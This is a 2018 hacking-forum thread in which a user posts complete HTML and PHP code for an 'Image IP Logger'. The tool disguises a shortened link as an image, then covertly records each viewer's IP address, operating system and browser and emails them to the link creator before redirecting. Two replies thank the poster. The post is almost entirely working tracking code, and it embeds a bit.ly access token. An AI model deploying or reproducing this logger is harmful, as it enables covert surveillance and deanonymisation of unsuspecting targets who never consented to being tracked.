![]() |
|
Image IP Logger - Log hits using images - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Hacking Tools (https://sinister.li/Forum-Hacking-Tools) +---- Forum: Hacxx's Posts (https://sinister.li/Forum-Hacxx-s-Posts) +---- Thread: Image IP Logger - Log hits using images (/Thread-Image-IP-Logger-Log-hits-using-images) |
Image IP Logger - Log hits using images - hacxx - 09-04-2018 Client Console: (EDIT: Change url domain to yours) Code: <html>
<title>Image IP Logger</title>
<body bgColor=#5e717f><br>
<table style="background: #bed5e2;" cellspacing=0 cellpadding=0 align=center>
<tr>
<td style="border-right: #d8d8d8 0.75pt solid; padding-right: 6pt; border-top: #d8d8d8 0.75pt solid; padding-left: 6pt; background: #567280; padding-bottom: 6pt; border-left: #d8d8d8 0.75pt solid; width: 317.5pt; padding-top: 6pt;">
<p><b><span style="font-size: 10pt; color: #ff9900; font-family: verdana; mso-ansi-language: en">Image IP Logger</span></b></p>
</td>
</tr>
<tr>
<td style="padding-right: 6pt; padding-left: 6pt; padding-bottom: 6pt; padding-top: 6pt"><br>
<center><table border=0 cellspacing=0 cellpadding=0><tr><td>
<p style="margin:0cm;margin-bottom:.0001pt;line-height:115%">
<span style="font-size:9.0pt;font-family:verdana;">Link a image and receive an email everytime the image is viewed!</p>
</td></tr></table>
<script>
function doSearch( selectedIndex, searchTerm, searchTerm2, searchTerm3 ) {
if (searchTerm == "") {
alert("Write your email!");
return false;
}
if (searchTerm2 == "") {
alert("Write the destination url!");
return false;
}
window.open(SEARCH_DATA[selectedIndex][1],SEARCH_DATA[selectedIndex][0]);
}
function engine1(selectedIndex,searchTerm,searchTerm2,searchTerm3)
{
SEARCH_DATA= new Array(0);
SEARCH_DATA[1]= new Array("a1","https://api-ssl.bitly.com/v3/shorten?access_token=d75aa27df880878ed0be09df34bebc9e557597ec&longUrl=http://site.tk/2.php?email="+escape(searchTerm)+"%26url="+escape(searchTerm2)+"%26tag="+escape(searchTerm3)+"&format=txt");
doSearch( selectedIndex, searchTerm, searchTerm2, searchTerm3);
return true;
}
</script>
</p>
<table>
<form name="Form1" onsubmit="javascript:engine1(this.engine.value,this.var1.value,this.var2.value,this.var3.value); return false;">
<input type="hidden" name="engine" value=1>
<tr><td>Your Email:</td><td><input type="text" class="text" size="20" name="var1" value="riyu370pitu@post.wordpress.com" placeholder="Ex: email@hotmail.com"></td></tr>
<tr><td>Image URL:</td><td><input type="text" class="text" size="20" name="var2" placeholder="Ex: http://www.example.com/1.jpg"></td></tr>
<tr><td>Image TAG:</td><td><input type="text" class="text" size="20" name="var3" placeholder="Ex: From hackforums.net"></td></tr>
<tr><td></td><td><input type="submit" value="Generate Link!" class="submit" name="submit"></td></tr>
</form>
</table>
<iframe name="a1" frameborder="0" width="317.5pt" height="30" scrolling="no"></iframe>
</p>
<table style="background: #bed5e2; width: 317.5pt; border-collapse: collapse; mso-padding-alt: 6.0pt 6.0pt 6.0pt 6.0pt" cellspacing=0 cellpadding=0 width=690 align=center bgColor=#bed5e2 border=0>
<tr><td style="border-right: #d8d8d8 0.75pt solid; padding-right: 6pt; border-top: #d8d8d8 0.75pt solid; padding-left: 6pt; background: #567280; padding-bottom: 6pt; border-left: #d8d8d8 0.75pt solid; width: 450pt; padding-top: 6pt; border-bottom: medium none">
<center><p><b><span style="font-size: 10pt; color: #c2dceb; font-family: verdana; mso-ansi-language: EN">Copyright © 2017-2019 Privateloader</span></center></b>
</td></tr></table>
</body></html>Server script: Code: <?PHP
function getUserIP()
{
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
if(filter_var($client, FILTER_VALIDATE_IP))
{
$ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{
$ip = $forward;
}
else
{
$ip = $remote;
}
return $ip;
}
$user_ip = getUserIP();
$user_agent = $_SERVER['HTTP_USER_AGENT'];
function getOS() {
global $user_agent;
$os_platform = "Unknown OS Platform";
$os_array = array(
'/windows nt 10/i' => 'Windows 10',
'/windows nt 6.3/i' => 'Windows 8.1',
'/windows nt 6.2/i' => 'Windows 8',
'/windows nt 6.1/i' => 'Windows 7',
'/windows nt 6.0/i' => 'Windows Vista',
'/windows nt 5.2/i' => 'Windows Server 2003/XP x64',
'/windows nt 5.1/i' => 'Windows XP',
'/windows xp/i' => 'Windows XP',
'/windows nt 5.0/i' => 'Windows 2000',
'/windows me/i' => 'Windows ME',
'/win98/i' => 'Windows 98',
'/win95/i' => 'Windows 95',
'/win16/i' => 'Windows 3.11',
'/macintosh|mac os x/i' => 'Mac OS X',
'/mac_powerpc/i' => 'Mac OS 9',
'/linux/i' => 'Linux',
'/ubuntu/i' => 'Ubuntu',
'/iphone/i' => 'iPhone',
'/ipod/i' => 'iPod',
'/ipad/i' => 'iPad',
'/android/i' => 'Android',
'/blackberry/i' => 'BlackBerry',
'/webos/i' => 'Mobile'
);
foreach ($os_array as $regex => $value) {
if (preg_match($regex, $user_agent)) {
$os_platform = $value;
}
}
return $os_platform;
}
function getBrowser() {
global $user_agent;
$browser = "Unknown Browser";
$browser_array = array(
'/msie/i' => 'Internet Explorer',
'/firefox/i' => 'Firefox',
'/safari/i' => 'Safari',
'/chrome/i' => 'Chrome',
'/edge/i' => 'Edge',
'/opera/i' => 'Opera',
'/netscape/i' => 'Netscape',
'/maxthon/i' => 'Maxthon',
'/konqueror/i' => 'Konqueror',
'/mobile/i' => 'Handheld Browser'
);
foreach ($browser_array as $regex => $value) {
if (preg_match($regex, $user_agent)) {
$browser = $value;
}
}
return $browser;
}
$user_os = getOS();
$user_browser = getBrowser();
$email = $_GET["email"];
$url = $_GET["url"];
$tag = $_GET["tag"];
$headers = "From: privateloader@hotmail.com" . "\r\n";
mail("$email","Your Image have been viewed","Your Image have been viewed!\n\nThe user IP is: $user_ip \n\nBrowser: $user_browser \n\nOS: $user_os\n\nTAG: $tag\n\n For more Privateloader tools just reply back to privateloader@hotmail.com!","$headers");
header("Location: $url");
die();
?>RE: Image IP Logger - Log hits using images - mothered - 09-05-2018 Don't forget to also change/add your email address. Appreciate the script. RE: Image IP Logger - Log hits using images - Jarnisto - 09-14-2018 Thank you for sharing the code! |